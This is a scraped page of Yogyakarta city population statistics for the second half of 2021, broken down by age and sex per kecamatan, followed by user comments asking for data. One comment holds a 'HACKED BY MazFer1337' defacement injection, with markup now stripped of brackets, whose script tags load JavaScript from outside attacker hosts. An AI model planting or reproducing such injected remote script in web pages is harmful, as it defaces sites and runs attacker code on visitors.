Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KOTA YOGYAKARTA, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaTEGALREJOJETISGONDOKUSUMANDANUREJANGEDONGTENGENNGAMPILANWIROBRAJANMANTRIJERONKRATONGONDOMANANPAKUALAMANMERGANGSANUMBULHARJOKOTAGEDETotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun365359 724256239 495379392 771209175 384182147 329188183 371318255 573390315 705194179 373155134 2899093 183322291 613745740 1.485387359 7464.180 3.861 8.041
2 tahun239238 477168154 322281260 541141108 249119117 236116103 219178150 328222210 432110111 2218790 1776151 112186197 383486490 976270241 5112.664 2.520 5.184
3 tahun233236 469199174 373256246 502137122 25911398 211122128 250176172 348238234 472159117 27693105 1987360 133225174 399515487 1.002267231 4982.806 2.584 5.390
4 tahun259253 512177150 327240253 493145103 248126125 251127108 235211158 369218199 417138127 2659993 1926459 123202201 403490435 925259221 4802.755 2.485 5.240
5 tahun269257 526187162 349274258 532127134 261104115 219123118 241168197 365238234 472129125 2549575 1705970 129213187 400531497 1.028243256 4992.760 2.685 5.445
6 tahun266228 494179175 354281289 570123151 274108115 223123128 251218207 425202214 416147118 26591101 1927059 129210184 394532492 1.024252237 4892.802 2.698 5.500
7 tahun264250 514174188 362296264 560140149 289129131 260140141 281186218 404263246 509155140 29510390 1937067 137221212 433568548 1.116278272 5502.987 2.916 5.903
8 tahun302283 585188202 390296252 548140130 270124112 236122119 241224187 411265240 505129151 2808384 1676161 122209228 437567503 1.070308284 5923.018 2.836 5.854
9 tahun272290 562210221 431320304 624148135 283139116 255131109 240188204 392237296 533131153 284121102 2238172 153245233 478548522 1.070254244 4983.025 3.001 6.026
10 tahun254293 547212188 400316289 605182150 332134126 260125134 259219216 435286238 524165128 29310499 2037382 155233244 477581516 1.097270280 5503.154 2.983 6.137
11 tahun293281 574207201 408300317 617158160 318143134 277144120 264209215 424245234 479129128 2579799 1968886 174232231 463558541 1.099264268 5323.067 3.015 6.082
12 tahun257258 515201201 402316361 677158161 319163138 301144130 274203186 389267275 542143150 293109105 2149066 156244210 454549553 1.102262251 5133.106 3.045 6.151
13 tahun323295 618209233 442362352 714196180 376153140 293134135 269213222 435281254 535160162 322117119 2368563 148261258 519596571 1.167299290 5893.389 3.274 6.663
14 tahun284293 577227215 442353360 713188178 366157139 296145147 292234204 438286258 544173162 33594104 1988677 163250225 475568533 1.101294265 5593.339 3.160 6.499
15 tahun325303 628253205 458358355 713175166 341153161 314137151 288221210 431275258 533168153 32111197 2088274 156247209 456566570 1.136285276 5613.356 3.188 6.544
16 tahun279283 562193212 405370336 706181171 352135148 283135142 277234250 484259277 536175138 3139694 1909785 182228229 457582517 1.099294258 5523.258 3.140 6.398
17 tahun305296 601222205 427361363 724195179 374165150 315152156 308244217 461249261 510147148 295107128 2357682 158240254 494555553 1.108270261 5313.288 3.253 6.541
18 tahun314267 581212209 421344326 670164187 351157154 311164128 292242193 435277289 566181143 324130111 2418888 176242246 488572559 1.131278219 4973.365 3.119 6.484
19 tahun334291 625216221 437330367 697181163 344178164 342129142 271222209 431291268 559191169 360126122 2489869 167253228 481526541 1.067262265 5273.337 3.219 6.556
20 tahun286299 585215213 428357354 711193156 349185146 331157139 296248240 488294277 571186177 363121100 2218385 168252252 504583571 1.154299264 5633.459 3.273 6.732
21 tahun304307 611208215 423354360 714170201 371178171 349159135 294248259 507345271 616190169 359133117 2509399 192259249 508588548 1.136329268 5973.558 3.369 6.927
22 tahun277258 535213185 398327336 663158147 305139135 274137136 273199216 415259246 505180151 33111291 2039589 184233252 485545525 1.070271250 5213.145 3.017 6.162
23 tahun273273 546194177 371315315 630180151 331142166 308127132 259182195 377265228 493170163 33391115 2068680 166242228 470501546 1.047243246 4893.011 3.015 6.026
24 tahun275256 531199221 420351292 643153172 325153132 285145133 278224197 421265274 539181161 34297112 2098466 150230233 463531502 1.033277265 5423.165 3.016 6.181
25 tahun292246 538188223 411321325 646166178 344160133 293144123 267190234 424294283 577175151 326121116 2377383 156235228 463482543 1.025264279 5433.105 3.145 6.250
26 tahun253259 512184167 351338303 641170147 317159132 291129117 246215204 419278306 584169150 319100115 2156183 144239233 472500580 1.080276259 5353.071 3.055 6.126
27 tahun268276 544179207 386292325 617158177 335143136 279139120 259209198 407258246 504164164 32811798 2157174 145236225 461526502 1.028264264 5283.024 3.012 6.036
28 tahun271251 522189182 371310288 598158169 327135133 268151141 292188214 402278275 553149161 31094107 2016273 135217219 436513526 1.039231259 4902.946 2.998 5.944
29 tahun264247 511222174 396303326 629134157 291150123 273118120 238205188 393255260 515142165 30711895 2136266 128240262 502495561 1.056245266 5112.953 3.010 5.963
30 tahun245260 505179177 356286292 578147159 306143126 269153151 304178199 377269247 516139155 29495101 1967780 157250244 494528542 1.070255270 5252.944 3.003 5.947
31 tahun258243 501177176 353262297 559153147 300136132 268118136 254184209 393232237 469168151 3199797 1946364 127216250 466473509 982245241 4862.782 2.889 5.671
32 tahun247264 511164184 348313287 600165138 303134121 255120133 253213191 404257272 529131169 3009579 1746467 131203227 430551511 1.062223252 4752.880 2.895 5.775
33 tahun257255 512191171 362287283 570110137 247116128 244126136 262145196 341221247 468152148 30098114 2125183 134195205 400476469 945238232 4702.663 2.804 5.467
34 tahun251294 545173183 356283279 562145126 271101132 233113137 250178184 362194231 425125125 25092114 2067181 152193216 409485516 1.001223278 5012.627 2.896 5.523
35 tahun248276 524212192 404269325 594139137 276128104 232117121 238198217 415231254 485139137 276129116 2458459 143231238 469541536 1.077212239 4512.878 2.951 5.829
36 tahun268260 528191221 412309319 628147177 324123148 271124121 245205208 413240235 475153148 301117102 2198074 154240235 475530636 1.166245237 4822.972 3.121 6.093
37 tahun301300 601214222 436299338 637162152 314135135 270141114 255220208 428258268 526164149 313124116 2407887 165236259 495557561 1.118280295 5753.169 3.204 6.373
38 tahun293311 604185198 383310323 633168186 354180159 339143157 300197191 388267295 562139156 295113125 2388073 153245235 480565596 1.161279319 5983.164 3.324 6.488
39 tahun355352 707254220 474351339 690165172 337153149 302162155 317227244 471261291 552138195 333122130 2527878 156254280 534618619 1.237296326 6223.434 3.550 6.984
40 tahun296305 601226259 485330341 671176153 329165144 309133145 278217220 437263281 544189156 345128114 2427177 148236262 498565621 1.186281289 5703.276 3.367 6.643
41 tahun323335 658251217 468334342 676159166 325141161 302149161 310225207 432254260 514161163 324112109 2217878 156257261 518563550 1.113290310 6003.297 3.320 6.617
42 tahun321312 633209235 444293320 613176169 345143144 287135142 277206190 396265293 558148166 314115113 2286090 150228250 478540612 1.152248278 5263.087 3.314 6.401
43 tahun267314 581185227 412337335 672171189 360163179 342144144 288205213 418246261 507144165 309118119 2377393 166216224 440566559 1.125288274 5623.123 3.296 6.419
44 tahun267270 537202210 412328319 647165145 310126156 282149151 300184228 412260271 531159160 31995112 2078883 171217256 473498563 1.061242262 5042.980 3.186 6.166
45 tahun275312 587211221 432317328 645134176 310163164 327149141 290214231 445251293 544152162 31411197 2087099 169214256 470528516 1.044250261 5113.039 3.257 6.296
46 tahun266304 570185209 394288345 633155165 320132164 296142121 263189191 380256256 512155175 330111100 2118580 165231234 465506540 1.046238238 4762.939 3.122 6.061
47 tahun275258 533168210 378299333 632144163 307154173 327109131 240186212 398219239 458152161 31387117 2047877 155219223 442517510 1.027228251 4792.835 3.058 5.893
48 tahun245284 529189197 386313317 630127139 266159153 312112140 252223226 449243243 486148147 29598117 2157672 148213223 436465530 995233233 4662.844 3.021 5.865
49 tahun298300 598172205 377304348 652168158 326141144 285122152 274204226 430250276 526147176 323114115 2298988 177190235 425510519 1.029247267 5142.956 3.209 6.165
50 tahun256308 564195191 386307332 639139143 282154163 317127138 265214196 410235280 515170187 357101101 2027487 161233252 485474530 1.004233242 4752.912 3.150 6.062
51 tahun250272 522211189 400304355 659144163 307152157 309107130 237202186 388233244 477173191 36491114 2057284 156221250 471445468 913218239 4572.823 3.042 5.865
52 tahun238261 499186186 372318343 661149182 331127163 290121142 263174226 400233289 522131173 304103103 2068098 178221218 439449545 994237251 4882.767 3.180 5.947
53 tahun255267 522172215 387287373 660156165 321139150 289105121 226182215 397236264 500158171 329111121 2327879 157214262 476442498 940203259 4622.738 3.160 5.898
54 tahun217242 459182178 360310345 655149150 299123136 259123140 263181197 378225299 524137183 32011495 2096177 138188251 439406465 871178223 4012.594 2.981 5.575
55 tahun201248 449155167 322261319 580131159 290128136 264119118 237155200 355216243 459152185 3379892 1906175 136201225 426384471 855184227 4112.446 2.865 5.311
56 tahun242281 523177198 375305303 608137168 305127155 282129150 279196192 388266278 544151187 33894124 2188098 178227220 447427496 923215251 4662.773 3.101 5.874
57 tahun190250 440149175 324261334 595138132 270119145 26498103 201163159 322212260 472163144 3078188 1696968 137184221 405372407 779201216 4172.400 2.702 5.102
58 tahun227239 466158186 344284310 594146157 303129143 272124116 240149214 363218246 464144161 30581102 1836472 136209241 450395447 842212212 4242.540 2.846 5.386
59 tahun200197 397151176 327255293 548114154 268124159 28399124 223140178 318211231 442148160 3087390 1637868 146184223 407367427 794165195 3602.309 2.675 4.984
60 tahun189189 378151152 303207262 469117133 25090116 20687111 198133128 261179208 387122125 2478298 1805064 114148189 337308414 722167202 3692.030 2.391 4.421
61 tahun184216 400137183 320235259 494108129 237104126 23095109 204140164 304188216 404123162 28588101 1896377 140165218 383358403 761153191 3442.141 2.554 4.695
62 tahun175214 389143153 296207259 466115132 247107121 22885104 189155137 292177188 365123141 26480111 1914867 115179214 393331419 750191203 3942.116 2.463 4.579
63 tahun161221 382122170 292204241 44590123 21397102 19990107 197132130 262176212 388104129 23369102 1714959 108157163 320300330 630173170 3431.924 2.259 4.183
64 tahun139176 315128156 284184224 4089189 18089107 19697101 198106148 254180180 360104111 2157486 1605871 129152190 342300321 621147166 3131.849 2.126 3.975
65 tahun141173 314121163 284150198 3488398 1819299 1918877 165113137 250146158 30481102 1836895 1635659 115138171 309267336 603135126 2611.679 1.992 3.671
66 tahun139176 31589156 245143189 3328496 1807994 1738588 173119116 235134210 344104117 2216477 1413751 88144155 299276301 577137149 2861.634 1.975 3.609
67 tahun140161 30192118 210150183 3336592 1577796 1735090 140101122 223138163 3017781 1587564 1394253 95115150 265257272 529137140 2771.516 1.785 3.301
68 tahun131146 277118121 239148158 3066295 1577292 1645873 13180122 202128147 2757791 1684680 1264055 95110119 229208228 436106116 2221.384 1.643 3.027
69 tahun116111 22794119 213139147 2867477 1517471 1455068 1187786 163114128 2425787 1444553 982339 62103122 225196203 39997120 2171.259 1.431 2.690
70 tahun8393 17667101 16892130 2225348 1015465 1195159 1106290 15282122 2045891 1494749 961941 608782 169177196 3736692 158998 1.259 2.257
71 tahun8389 1726977 14698122 2204347 903669 1053450 846076 1368194 1754065 1053445 792241 637086 156156172 3284573 118871 1.106 1.977
72 tahun6875 1434654 1006679 1453749 865558 1133641 774554 995784 1414465 1093039 691431 455684 140143126 2696648 114763 887 1.650
73 tahun61111 1725277 1296792 1593346 793453 873241 735575 1307487 1614264 1063742 791929 484769 116115155 2705067 117718 1.008 1.726
74 tahun4550 953345 784589 1342630 562345 682136 573544 793760 973847 852733 601421 353859 979894 1923743 80517 696 1.213
75 tahun5654 1102642 684786 1331630 462341 642030 503940 793759 962038 582836 64920 292275 974896 1443643 79427 690 1.117
76 tahun5460 1142758 854193 1343139 701830 482540 653555 904668 1142542 671934 531322 354354 977492 1664157 98492 744 1.236
77 tahun4663 1092037 574057 971628 441732 491625 413547 824649 952947 761522 371020 302349 726577 1422630 56404 583 987
78 tahun3760 972946 753276 1081333 461629 451434 482836 643766 1032935 641130 41820 283053 836097 1573046 76374 661 1.035
79 tahun4270 1122940 694584 1291337 502140 611734 512549 743661 972544 691318 311326 393849 877895 1733638 74431 685 1.116
80 ke atas157304 46197259 356190431 62177194 27190185 27559148 207148239 387153311 464116253 36960147 20744116 160154295 449286501 787133232 3651.764 3.615 5.379
Jumlah18.27919.11237.39113.24514.04127.28620.83522.34443.17910.45410.92921.3839.65210.03119.6838.9309.35518.28513.69314.26427.95717.24818.22135.46910.59811.15721.7557.2527.61714.8695.1245.53310.65715.43116.44431.87534.74336.26971.01217.09117.61734.708 202.575 212.934 415.509
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih